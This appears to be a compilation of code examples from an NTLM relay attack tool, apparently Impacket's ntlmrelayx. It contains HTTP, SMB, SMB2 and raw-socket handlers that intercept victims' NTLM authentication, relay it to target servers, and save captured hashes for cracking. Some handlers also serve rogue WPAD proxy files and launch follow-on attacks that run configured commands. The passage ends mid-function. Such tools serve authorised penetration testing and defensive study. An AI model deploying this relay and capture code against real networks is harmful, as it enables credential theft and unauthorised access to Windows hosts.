def do_GET(self):
			messageType = 0
			if self.headers.getheader('Authorization') is None:
				self.do_AUTHHEAD(message = 'NTLM')
				pass
			else:
				typeX = self.headers.getheader('Authorization')
				try:
					_, blob = typeX.split('NTLM')
					token = base64.b64decode(blob.strip())
				except:
					self.do_AUTHHEAD()
				messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

			if messageType == 1:
				if not self.do_ntlm_negotiate(token):
					#Connection failed
					self.server.config.target.log_target(self.client_address[0],self.target)
					self.do_REDIRECT()
			elif messageType == 3:
				authenticateMessage = ntlm.NTLMAuthChallengeResponse()
				authenticateMessage.fromString(token)
				if not self.do_ntlm_auth(token,authenticateMessage):
					logging.error("Authenticating against %s as %s\%s FAILED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))

					#Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want
					if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
						self.server.config.target.log_target(self.client_address[0],self.target)
						#No anonymous login, go to next host and avoid triggering a popup
						self.do_REDIRECT()
					else:
						#If it was an anonymous login, send 401
						self.do_AUTHHEAD('NTLM')
				else:
					# Relay worked, do whatever we want here...
					logging.info("Authenticating against %s as %s\%s SUCCEED" % (self.target[1],authenticateMessage['domain_name'], authenticateMessage['user_name']))
					ntlm_hash_data = outputToJohnFormat( self.challengeMessage['challenge'], authenticateMessage['user_name'], authenticateMessage['domain_name'], authenticateMessage['lanman'], authenticateMessage['ntlm'] )
					logging.info(ntlm_hash_data['hash_string'])
					if self.server.config.outputFile is not None:
						writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)
					self.server.config.target.log_target(self.client_address[0],self.target)
					self.do_attack()
					# And answer 404 not found
					self.send_response(404)
					self.send_header('WWW-Authenticate', 'NTLM')
					self.send_header('Content-type', 'text/html')
					self.send_header('Content-Length','0')
					self.send_header('Connection','close')
					self.end_headers()
			return 
        def do_GET(self):
            messageType = 0
            if self.server.config.mode == 'REDIRECT':
                self.do_SMBREDIRECT()
                return

            LOG.info('HTTPD: Client requested path: %s' % self.path.lower())

            # Serve WPAD if:
            # - The client requests it
            # - A WPAD host was provided in the command line options
            # - The client has not exceeded the wpad_auth_num threshold yet
            if self.path.lower(
            ) == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(
                    self.client_address[0]):
                LOG.info('HTTPD: Serving PAC file to client %s' %
                         self.client_address[0])
                self.serve_wpad()
                return

            # Determine if the user is connecting to our server directly or attempts to use it as a proxy
            if self.command == 'CONNECT' or (len(self.path) > 4 and
                                             self.path[:4].lower() == 'http'):
                proxy = True
            else:
                proxy = False

            if (proxy and self.headers.getheader('Proxy-Authorization') is None
                ) or (not proxy
                      and self.headers.getheader('Authorization') is None):
                self.do_AUTHHEAD(message='NTLM', proxy=proxy)
                pass
            else:
                if proxy:
                    typeX = self.headers.getheader('Proxy-Authorization')
                else:
                    typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD(message='NTLM', proxy=proxy)
                else:
                    messageType = struct.unpack(
                        '<L',
                        token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token, proxy=proxy):
                    #Connection failed
                    LOG.error(
                        'Negotiating NTLM with %s://%s failed. Skipping to next target',
                        self.target.scheme, self.target.netloc)
                    self.server.config.target.logTarget(self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if not self.do_ntlm_auth(token, authenticateMessage):
                    if authenticateMessage[
                            'flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.error(
                            "Authenticating against %s://%s as %s\%s FAILED" %
                            (self.target.scheme, self.target.netloc,
                             authenticateMessage['domain_name'].decode(
                                 'utf-16le'), authenticateMessage['user_name'].
                             decode('utf-16le')))
                    else:
                        LOG.error(
                            "Authenticating against %s://%s as %s\%s FAILED" %
                            (self.target.scheme, self.target.netloc,
                             authenticateMessage['domain_name'].decode(
                                 'ascii'),
                             authenticateMessage['user_name'].decode('ascii')))

                    # Only skip to next if the login actually failed, not if it was just anonymous login or a system account which we don't want
                    if authenticateMessage[
                            'user_name'] != '':  # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.logTarget(self.target)
                        # No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD('NTLM', proxy=proxy)
                else:
                    # Relay worked, do whatever we want here...
                    if authenticateMessage[
                            'flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.info(
                            "Authenticating against %s://%s as %s\%s SUCCEED" %
                            (self.target.scheme, self.target.netloc,
                             authenticateMessage['domain_name'].decode(
                                 'utf-16le'), authenticateMessage['user_name'].
                             decode('utf-16le')))
                    else:
                        LOG.info(
                            "Authenticating against %s://%s as %s\%s SUCCEED" %
                            (self.target.scheme, self.target.netloc,
                             authenticateMessage['domain_name'].decode(
                                 'ascii'),
                             authenticateMessage['user_name'].decode('ascii')))

                    ntlm_hash_data = outputToJohnFormat(
                        self.challengeMessage['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.config.outputFile)

                    self.server.config.target.logTarget(self.target)

                    self.do_attack()

                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length', '0')
                    self.send_header('Connection', 'close')
                    self.end_headers()
            return
Exemple #3
0
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus=False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters'][
                'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            )
            respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack(
                    'B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack(
                '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
                # Let's send it to the target server and send the answer back to the client.
                client = smbData[self.target]['SMBClient']
                challengeMessage = self.do_ntlm_negotiate(client, token)
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = str(challengeMessage)

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED
                # Let's set up an UID for this connection and store it
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10
                # Let's store it in the connection data
                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication

                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                client = smbData[self.target]['SMBClient']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if authenticateMessage['user_name'] != '':
                    #For some attacks it is important to know the authenticated username, so we store it
                    connData['AUTHUSER'] = authenticateMessage['user_name']
                    self.authUser = connData['AUTHUSER']
                    clientResponse, errorCode = self.do_ntlm_auth(
                        client, sessionSetupData['SecurityBlob'],
                        connData['CHALLENGE_MESSAGE']['challenge'])
                    #clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'],connData['CHALLENGE_MESSAGE']['challenge'])
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet[
                        'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet[
                        'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                    packet['Command'] = recvPacket['Command']
                    packet['Pid'] = recvPacket['Pid']
                    packet['Tid'] = recvPacket['Tid']
                    packet['Mid'] = recvPacket['Mid']
                    packet['Uid'] = recvPacket['Uid']
                    packet['Data'] = '\x00\x00\x00'
                    packet['ErrorCode'] = errorCode >> 16
                    packet['ErrorClass'] = errorCode & 0xff
                    # Reset the UID
                    if self.target[0] == 'SMB':
                        client.setUid(0)
                    logging.error(
                        "Authenticating against %s as %s\%s FAILED" %
                        (self.target, authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))

                    #Log this target as processed for this client
                    self.targetprocessor.log_target(connData['ClientIP'],
                                                    self.target)
                    #del (smbData[self.target])
                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    logging.info(
                        "Authenticating against %s as %s\%s SUCCEED" %
                        (self.target, authenticateMessage['domain_name'],
                         authenticateMessage['user_name']))
                    #Log this target as processed for this client
                    self.targetprocessor.log_target(connData['ClientIP'],
                                                    self.target)
                    ntlm_hash_data = outputToJohnFormat(
                        connData['CHALLENGE_MESSAGE']['challenge'],
                        authenticateMessage['user_name'],
                        authenticateMessage['domain_name'],
                        authenticateMessage['lanman'],
                        authenticateMessage['ntlm'])
                    logging.info(ntlm_hash_data['hash_string'])
                    if self.server.getJTRdumpPath() != '':
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                              ntlm_hash_data['hash_version'],
                                              self.server.getJTRdumpPath())
                    del (smbData[self.target])
                    self.do_attack(client)
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = '\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters[
                'SecurityBlobLength']
            respData['SecurityBlob'] = respToken.getData()

        else:
            # Process Standard Security
            #TODO: Fix this for other protocols than SMB [!]
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                'AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                'UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']
            #############################################################
            # SMBRelay
            smbClient = smbData[self.target]['SMBClient']
            if sessionSetupData['Account'] != '':
                #TODO: Fix this for other protocols than SMB [!]
                clientResponse, errorCode = smbClient.login_standard(
                    sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet[
                    'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet[
                    'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
                packet['Command'] = recvPacket['Command']
                packet['Pid'] = recvPacket['Pid']
                packet['Tid'] = recvPacket['Tid']
                packet['Mid'] = recvPacket['Mid']
                packet['Uid'] = recvPacket['Uid']
                packet['Data'] = '\x00\x00\x00'
                packet['ErrorCode'] = errorCode >> 16
                packet['ErrorClass'] = errorCode & 0xff
                # Reset the UID
                smbClient.setUid(0)
                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],
                                                self.target)
                return None, [packet], errorCode
                # Now continue with the server
            else:
                # We have a session, create a thread and do whatever we want
                ntlm_hash_data = outputToJohnFormat(
                    '', sessionSetupData['Account'],
                    sessionSetupData['PrimaryDomain'],
                    sessionSetupData['AnsiPwd'],
                    sessionSetupData['UnicodePwd'])
                logging.info(ntlm_hash_data['hash_string'])
                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())
                #TODO: Fix this for other protocols than SMB [!]
                clientThread = self.config.attacks['SMB'](self.config,
                                                          smbClient,
                                                          self.config.exeFile,
                                                          self.config.command)
                clientThread.start()

                #Log this target as processed for this client
                self.targetprocessor.log_target(connData['ClientIP'],
                                                self.target)

                # Remove the target server from our connection list, the work is done
                del (smbData[self.target])
                # Now continue with the server

            #############################################################

            # Do the verification here, for just now we grant access
            # TODO: Manage more UIDs for the same session
            errorCode = STATUS_SUCCESS
            connData['Uid'] = 10
            respParameters['Action'] = 0

        respData['NativeOS'] = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data'] = respData

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True
        #############################################################
        # SMBRelay
        smbServer.setConnectionData('SMBRelay', smbData)
        #############################################################
        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
        def do_GET(self):
            messageType = 0
            if self.server.config.mode == 'REDIRECT':
                self.do_SMBREDIRECT()
                return

            LOG.info('HTTPD: Client requested path: %s' % self.path.lower())

            # Serve WPAD if:
            # - The client requests it
            # - A WPAD host was provided in the command line options
            # - The client has not exceeded the wpad_auth_num threshold yet
            if self.path.lower() == '/wpad.dat' and self.server.config.serve_wpad and self.should_serve_wpad(self.client_address[0]):
                LOG.info('HTTPD: Serving PAC file to client %s' % self.client_address[0])
                self.serve_wpad()
                return

            # Determine if the user is connecting to our server directly or attempts to use it as a proxy
            if self.command == 'CONNECT' or (len(self.path) > 4 and self.path[:4].lower() == 'http'):
                proxy = True
            else:
                proxy = False

            if PY2:
                proxyAuthHeader = self.headers.getheader('Proxy-Authorization')
                autorizationHeader = self.headers.getheader('Authorization')
            else:
                proxyAuthHeader = self.headers.get('Proxy-Authorization')
                autorizationHeader = self.headers.get('Authorization')

            if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None):
                self.do_AUTHHEAD(message = b'NTLM',proxy=proxy)
                pass
            else:
                if proxy:
                    typeX = proxyAuthHeader
                else:
                    typeX = autorizationHeader
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except Exception:
                    LOG.debug("Exception:", exc_info=True)
                    self.do_AUTHHEAD(message = b'NTLM', proxy=proxy)
                else:
                    messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 1:
                if not self.do_ntlm_negotiate(token, proxy=proxy):
                    #Connection failed
                    LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
                              self.target.scheme, self.target.netloc)
                    self.server.config.target.logTarget(self.target)
                    self.do_REDIRECT()
            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if not self.do_ntlm_auth(token,authenticateMessage):
                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                            self.target.scheme, self.target.netloc,
                            authenticateMessage['domain_name'].decode('utf-16le'),
                            authenticateMessage['user_name'].decode('utf-16le')))
                    else:
                        LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                            self.target.scheme, self.target.netloc,
                            authenticateMessage['domain_name'].decode('ascii'),
                            authenticateMessage['user_name'].decode('ascii')))

                    # Only skip to next if the login actually failed, not if it was just anonymous login or a system account
                    # which we don't want
                    if authenticateMessage['user_name'] != '': # and authenticateMessage['user_name'][-1] != '$':
                        self.server.config.target.logTarget(self.target)
                        # No anonymous login, go to next host and avoid triggering a popup
                        self.do_REDIRECT()
                    else:
                        #If it was an anonymous login, send 401
                        self.do_AUTHHEAD(b'NTLM', proxy=proxy)
                else:
                    # Relay worked, do whatever we want here...
                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
                            authenticateMessage['user_name'].decode('utf-16le')))
                    else:
                        LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
                            authenticateMessage['user_name'].decode('ascii')))

                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
                                                        authenticateMessage['user_name'],
                                                        authenticateMessage['domain_name'],
                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'], self.server.config.outputFile)

                    self.server.config.target.logTarget(self.target, True, self.authUser)

                    self.do_attack()

                    # And answer 404 not found
                    self.send_response(404)
                    self.send_header('WWW-Authenticate', 'NTLM')
                    self.send_header('Content-type', 'text/html')
                    self.send_header('Content-Length','0')
                    self.send_header('Connection','close')
                    self.end_headers()
            return
Exemple #5
0
        def handle(self):

            ntlm_negotiate_len = struct.unpack('h', self.request.recv(2))
            ntlm_negotiate = self.request.recv(ntlm_negotiate_len[0])

            if not self.do_ntlm_negotiate(ntlm_negotiate):
                # Connection failed
                LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
                          self.target.scheme, self.target.netloc)
                self.server.config.target.logTarget(self.target)

            else:

                ntlm_chal_token = self.challengeMessage.getData()
                self.request.sendall(struct.pack('h', len(ntlm_chal_token)))
                self.request.sendall(ntlm_chal_token)

                ntlm_auth_len = struct.unpack('h', self.request.recv(2))
                ntlm_auth = self.request.recv(ntlm_auth_len[0])

                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(ntlm_auth)

                if not self.do_ntlm_auth(ntlm_auth, authenticateMessage):

                    self.request.sendall(struct.pack('h', 1))
                    self.request.sendall(struct.pack('?', False))

                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                            self.target.scheme, self.target.netloc,
                            authenticateMessage['domain_name'].decode('utf-16le'),
                            authenticateMessage['user_name'].decode('utf-16le')))
                    else:
                        LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
                            self.target.scheme, self.target.netloc,
                            authenticateMessage['domain_name'].decode('ascii'),
                            authenticateMessage['user_name'].decode('ascii')))
                else:
                    # Relay worked, do whatever we want here...
                    self.request.sendall(struct.pack('h', 1))
                    self.request.sendall(struct.pack('?', True))

                    if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                        LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('utf-16le'),
                            authenticateMessage['user_name'].decode('utf-16le')))
                    else:
                        LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
                            self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
                            authenticateMessage['user_name'].decode('ascii')))

                    ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
                                                        authenticateMessage['user_name'],
                                                        authenticateMessage['domain_name'],
                                                        authenticateMessage['lanman'], authenticateMessage['ntlm'])
                    self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                    if self.server.config.outputFile is not None:
                        writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
                                              self.server.config.outputFile)

                    self.server.config.target.logTarget(self.target, True, self.authUser)

                    self.do_attack()
Exemple #6
0
    def SmbSessionSetup(self, connId, smbServer, recvPacket):
        connData = smbServer.getConnectionData(connId, checkStatus=False)

        respSMBCommand = smb3.SMB2SessionSetup_Response()
        sessionSetupData = smb3.SMB2SessionSetup(recvPacket['Data'])

        connData['Capabilities'] = sessionSetupData['Capabilities']

        securityBlob = sessionSetupData['Buffer']

        rawNTLM = False
        if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
            # NEGOTIATE packet
            blob = SPNEGO_NegTokenInit(securityBlob)
            token = blob['MechToken']
            if len(blob['MechTypes'][0]) > 0:
                # Is this GSSAPI NTLM or something else we don't support?
                mechType = blob['MechTypes'][0]
                if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
                                mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
                    # Nope, do we know it?
                    if mechType in MechTypes:
                        mechStr = MechTypes[mechType]
                    else:
                        mechStr = hexlify(mechType)
                    smbServer.log("Unsupported MechType '%s'" % mechStr,
                                  logging.CRITICAL)
                    # We don't know the token, we answer back again saying
                    # we just support NTLM.
                    # ToDo: Build this into a SPNEGO_NegTokenResp()
                    respToken = b'\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
                    respSMBCommand['SecurityBufferOffset'] = 0x48
                    respSMBCommand['SecurityBufferLength'] = len(respToken)
                    respSMBCommand['Buffer'] = respToken

                    return [respSMBCommand
                            ], None, STATUS_MORE_PROCESSING_REQUIRED
        elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
            # AUTH packet
            blob = SPNEGO_NegTokenResp(securityBlob)
            token = blob['ResponseToken']
        else:
            # No GSSAPI stuff, raw NTLMSSP
            rawNTLM = True
            token = securityBlob

        # Here we only handle NTLMSSP, depending on what stage of the
        # authentication we are, we act on it
        messageType = struct.unpack(
            '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

        if messageType == 0x01:
            # NEGOTIATE_MESSAGE
            negotiateMessage = ntlm.NTLMAuthNegotiate()
            negotiateMessage.fromString(token)
            # Let's store it in the connection data
            connData['NEGOTIATE_MESSAGE'] = negotiateMessage

            #############################################################
            # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
            # Let's send it to the target server and send the answer back to the client.
            client = connData['SMBClient']
            try:
                challengeMessage = self.do_ntlm_negotiate(client, token)
            except Exception as e:
                LOG.debug("Exception:", exc_info=True)
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                # Raise exception again to pass it on to the SMB server
                raise

            #############################################################

            if rawNTLM is False:
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = b'\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = challengeMessage.getData()
            else:
                respToken = challengeMessage

            # Setting the packet to STATUS_MORE_PROCESSING
            errorCode = STATUS_MORE_PROCESSING_REQUIRED
            # Let's set up an UID for this connection and store it
            # in the connection's data
            connData['Uid'] = random.randint(1, 0xffffffff)

            connData['CHALLENGE_MESSAGE'] = challengeMessage

        elif messageType == 0x02:
            # CHALLENGE_MESSAGE
            raise Exception('Challenge Message raise, not implemented!')

        elif messageType == 0x03:
            # AUTHENTICATE_MESSAGE, here we deal with authentication
            #############################################################
            # SMBRelay: Ok, so now the have the Auth token, let's send it
            # back to the target system and hope for the best.
            client = connData['SMBClient']
            authenticateMessage = ntlm.NTLMAuthChallengeResponse()
            authenticateMessage.fromString(token)
            if authenticateMessage['user_name'] != '':
                # For some attacks it is important to know the authenticated username, so we store it

                self.authUser = (
                    '%s/%s' %
                    (authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le'))
                ).upper()

                if rawNTLM is True:
                    respToken2 = SPNEGO_NegTokenResp()
                    respToken2['ResponseToken'] = securityBlob
                    securityBlob = respToken2.getData()

                clientResponse, errorCode = self.do_ntlm_auth(
                    client, token, connData['CHALLENGE_MESSAGE']['challenge'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                #Log this target as processed for this client
                self.targetprocessor.logTarget(self.target)
                LOG.error(
                    "Authenticating against %s://%s as %s\\%s FAILED" %
                    (self.target.scheme, self.target.netloc,
                     authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le')))
                client.killConnection()
            else:
                # We have a session, create a thread and do whatever we want
                LOG.critical(
                    "Authenticating against %s://%s as %s\\%s SUCCEED" %
                    (self.target.scheme, self.target.netloc,
                     authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le')))
                # Log this target as processed for this client
                self.targetprocessor.logTarget(self.target, True,
                                               self.authUser)

                ntlm_hash_data = outputToJohnFormat(
                    connData['CHALLENGE_MESSAGE']['challenge'],
                    authenticateMessage['user_name'],
                    authenticateMessage['domain_name'],
                    authenticateMessage['lanman'], authenticateMessage['ntlm'])
                client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data

                if self.server.getJTRdumpPath() != '':
                    writeJohnOutputToFile(ntlm_hash_data['hash_string'],
                                          ntlm_hash_data['hash_version'],
                                          self.server.getJTRdumpPath())

                connData['Authenticated'] = True

                self.do_attack(client)
                # Now continue with the server
            #############################################################

            respToken = SPNEGO_NegTokenResp()
            # accept-completed
            respToken['NegResult'] = b'\x00'
            # Let's store it in the connection data
            connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
        else:
            raise Exception("Unknown NTLMSSP MessageType %d" % messageType)

        respSMBCommand['SecurityBufferOffset'] = 0x48
        respSMBCommand['SecurityBufferLength'] = len(respToken)
        respSMBCommand['Buffer'] = respToken.getData()

        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus=False)

        #############################################################
        # SMBRelay
        # Are we ready to relay or should we just do local auth?
        if 'relayToHost' not in connData:
            # Just call the original SessionSetup
            return self.origSmbSessionSetupAndX(connId, smbServer, SMBCommand,
                                                recvPacket)

        # We have confirmed we want to relay to the target host.
        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters'][
                'Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
            )
            respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
                'SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            rawNTLM = False
            if struct.unpack(
                    'B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
                # If there no GSSAPI ID, it must be an AUTH packet
                blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
                token = blob['ResponseToken']
            else:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
                token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the
            # authentication we are, we act on it
            messageType = struct.unpack(
                '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 0x01:
